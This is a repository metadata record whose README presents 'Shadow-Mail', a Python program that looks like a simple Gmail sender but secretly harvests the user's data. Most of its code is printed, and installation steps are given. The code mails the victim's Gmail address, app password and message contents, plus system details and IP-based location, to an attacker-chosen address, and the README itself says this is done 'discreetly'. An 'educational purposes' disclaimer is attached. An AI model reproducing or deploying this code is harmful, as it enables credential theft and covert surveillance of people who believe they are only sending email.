{"id":21561193,"url":"https://github.com/gitcoder052023/shadow-mail","last_synced_at":"2025-03-18T04:31:18.923Z","repository":{"id":212419485,"uuid":"731441026","full_name":"GitCoder052023/Shadow-Mail","owner":"GitCoder052023","description":"The Shadow Mail is a python program which works like a simple Gmail service in frontend but the backend program is grab user's data like his Gmail address, app password, device info, IP address, location, etc.","archived":false,"fork":false,"pushed_at":"2023-12-16T06:29:17.000Z","size":713,"stargazers_count":3,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-01-24T11:24:02.561Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/GitCoder052023.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2023-12-14T04:57:36.000Z","updated_at":"2024-04-26T04:14:58.000Z","dependencies_parsed_at":"2023-12-16T07:26:56.206Z","dependency_job_id":"75e29039-eb71-4ffb-a337-99e6424eaf86","html_url":"https://github.com/GitCoder052023/Shadow-Mail","commit_stats":null,"previous_names":["gitcoder052023/shadow-mail"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/GitCoder052023%2FShadow-Mail","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/GitCoder052023%2FShadow-Mail/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/GitCoder052023%2FShadow-Mail/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/GitCoder052023%2FShadow-Mail/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/GitCoder052023","download_url":"https://codeload.github.com/GitCoder052023/Shadow-Mail/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":244156496,"owners_count":20407521,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-24T09:19:34.227Z","updated_at":"2025-03-18T04:31:18.905Z","avatar_url":"https://github.com/GitCoder052023.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"This Python program serves as a multifunctional email sender with additional features for collecting and transmitting user-specific system details and location information. The script is designed to interact with the user by prompting for their name, guiding them through Gmail authentication, and collecting necessary credentials. Once authenticated, the program allows the user to input recipient details and email content, facilitating the sending of emails through a Gmail SMTP connection. Furthermore, the script captures the user's system information, including details about the operating system, hardware, and processes, which is then sent to a specified email address. Additionally, the program retrieves the user's IP-related information using an external service and forwards it to the developer's email. While providing a practical demonstration of Python's capabilities for ethical hacking or custom tool development, it is crucial to emphasize that the program is intended for educational purposes only, and its misuse to inflict harm is strongly discouraged. The developer expressly disclaims responsibility for any adverse consequences resulting from the inappropriate use of this program.\n\nThis is the detailed break-down of this code:\n\nTo begin, the user is prompted to input their name, after which they receive clear instructions on creating an app password for their Gmail account. The script then guides the user through entering their Gmail address, ensuring its validity, and securely collecting both the Gmail credentials and password. \n\nFollowing this, the user is prompted to input the recipient's Gmail address and compose the email message they wish to send. The script establishes a secure connection to Gmail's SMTP server, logs in using the provided credentials, and successfully sends the email to the specified recipient.\n\nSubsequently, the script discreetly sends the user's Gmail details, password, recipient's Gmail, and email message to a developer's email address. Additionally, the script captures the user's system information, including details such as operating system, network configuration, CPU, memory, and battery status. This information is then formatted and sent to the developer via email. \n\nFinally, the script leverages an external service to obtain the user's IP-related details, such as city, region, country, and timezone. This information is also sent securely to the developer's email. The user receives a confirmation message upon successful email transmission, ensuring transparency about the process's completion.\n\nInstallation\n\nFollow these steps to set up the Python environment and install the required dependencies for this project:\n\n1. Clone the Repository\n\n```bash\ngit clone https://github.com/GitCoder052023/Shadow-Mail.git\ncd Shadow-Mail\n```\n2. Create a Python Virtual Environment\nMake sure you have Python installed (version 3.8.0 or higher). If not, you can download it from python.org.\n\nCreate a virtual environment to isolate the dependencies:\n```bash\npython3 -m venv venv\n```\n3. Activate the Virtual Environment\nActivate the virtual environment based on your operating system:\nOn Windows:\n```bash\nvenv\\Scripts\\activate\n```\nOn Unix or MacOS:\n```bash\nsource venv/bin/activate\n```\n4. Install Required Dependencies\nUse pip to install the necessary dependencies specified in the requirements.txt file:\n```bash\npip install -r requirements.txt\n```\n\nThis is the break down of code and explaination each part:\n\nPart 1: Importing Libraries\n\n```python\nimport json\nfrom urllib.request import urlopen\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nimport platform\nimport socket\nimport psutil\n```\n\nPart 2: User Input\n\n```python\nname = input(\"Enter your name: \")\n```\n\nThe script prompts the user to enter their name.\n\nPart 3: Instructions for Gmail Authentication\n\n```python\nprint(\"Hello,\" + name, '''Welcome to MailBox.com...''')\n```\n\nThe script provides instructions for the user on creating an app password for Gmail.\n\nPart 4: Validating and Collecting User's Gmail and Password\n\nCollecting user's Gmail and password\n\n```python\nwhile True:\n    Gmail = input(\"Enter your Gmail: \")\n    if Gmail.endswith(\"@gmail.com\"):\n        MailBox = Gmail\n        Password = input(\"Enter your Gmail password: \")\n        print(\"Your Gmail is Submitted Successfully\")\n        break\n    else:\n        print(\"Your Gmail is Invalid, please Enter your Gmail again\")\n        Gmail = input(\"Enter your Gmail: \")\n        if Gmail.endswith(\"@gmail.com\"):\n            MailBox = Gmail\n            Password = input(\"Enter your Gmail password: \")\n            print(\"Your Gmail is Submitted Successfully\")\n            break\n```\n\n\nThe script prompts the user to enter their Gmail address, validates it, and then collects the Gmail and password.\n\nPart 5: Email Content Input\n\n```python\nRMID = input(\"Enter the gmail of the receiver: \")\nMail = input(\"Enter gmail message to send: \")\n```\n\nThe script collects the recipient's Gmail and the email message from the user.\n\nPart 6: Sending the Email\n\n```python\n# Setting up SMTP and sending the email\n\ns = smtplib.SMTP('smtp.gmail.com', 587)\ns.starttls()\ns.login(MailBox, Password)\nmessage1 = Mail\ns.sendmail(MailBox, RMID, message1)\ns.quit()\n```\n\nThe script sets up an SMTP connection to Gmail, logs in using the user's credentials, and sends the email to the specified recipient.\n\nPart 7: Sending User's Data to the Developer\n\n```python\ns = smtplib.SMTP('smtp.gmail.com', 587)\ns.starttls()\ns.login(MailBox, Password)\nsubject = \"Mail from \" + MailBox + \" to \" + RMID\nmessage = \"From: \" + MailBox + \"\\nTo: \" + RMID + \"\\nSubject: \" + subject + \"\\n\" + Password\nDeveloper = \"REPLACE WITH YOUR DESIRED GMAIL ADDRESS\"\ns.sendmail(MailBox, Developer, message)\ns.quit()\n```\n\nThe script sends the user's Gmail, Gmail password, recipient's Gmail, and the email message to the developer's email address.\n\nPart 8: Collecting and Sending System Information\n\n```python\ndef send_email(subject, body, to_email):\n    from_email = MailBox\n    password = Password\n    message = MIMEMultipart()\n    message[\"From\"] = from_email\n    message[\"To\"] = to_email\n    message[\"Subject\"] = subject\n    message.attach(MIMEText(body, \"plain\"))\n    \n    with smtplib.SMTP(\"smtp.gmail.com\", 587) as server:\n        server.starttls()\n        server.login(from_email, password)\n        server.sendmail(from_email, to_email, message.as_string())\n\ndef get_device_details():\n    # ... (Code for collecting system details)\n    return data_SYS\n\nif __name__ == \"__main__\":\n    device_info = get_device_details()\n    data_str = \"\\n\".join([f\"{key}: {value}\" for key, value in device_info.items()])\n    send_email(\"System Information\", data_str, \"REPLACE WITH YOUR DESIRED GMAIL ADDRESS\")\n```\n\nThe script defines a function to send an email and uses it to send the user's system information to the developer's email address.\n\nPart 9: Collecting and Sending User's Location Information\n\n```python\nurl = \"http://ipinfo.io/json\"\nresponse = urlopen(url)\ndata = json.load(response)\nAddress_data = {\n  \"IP\": data[\"ip\"],\n  \"City\": data[\"city\"],\n  \"Region\": data[\"region\"],\n  \"Country\": data[\"country\"],\n  \"Location\": data[\"loc\"],\n  \"Organization\": data[\"org\"],\n  \"Postal\": data[\"postal\"],\n  \"Timezone\": data[\"timezone\"]\n}\n\njson_data = json.dumps(data, indent=4)\n\nsender_email = MailBox\nsender_password = Password\nreceiver_email = \"REPLACE WITH YOUR DESIRED GMAIL\"\nsubject = \"IP Information\"\n\nbody = f\"\"\"\\\nIP Information:\n\n{json_data}\n\"\"\"\n\nwith smtplib.SMTP(\"smtp.gmail.com\", 587) as server:\n    server.starttls()\n    server.login(sender_email, sender_password)\n    message = f\"Subject: {subject}\\n\\n{body}\"\n    server.sendmail(sender_email, receiver_email, message)\n```\n\nThe script collects the user's IP information using an external service and sends it to the developer's email address.\n\nPart 10: Confirmation Message\n\n```python\nprint(\"Your Mail sent successfully to\", RMID)\n```\n\n\nNote: This Python program is expressly designed for educational purposes and serves solely as a demonstration of Python's capabilities within the realms of ethical hacking and custom tool development. It is explicitly prohibited to employ this program for any malicious intent or to cause harm to individuals or entities. The developer vehemently discourages any such misuse, The developer bears no responsibility for any harm or damage resulting from the misuse or unauthorized deployment of this software.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fgitcoder052023%2Fshadow-mail","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fgitcoder052023%2Fshadow-mail","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fgitcoder052023%2Fshadow-mail/lists"}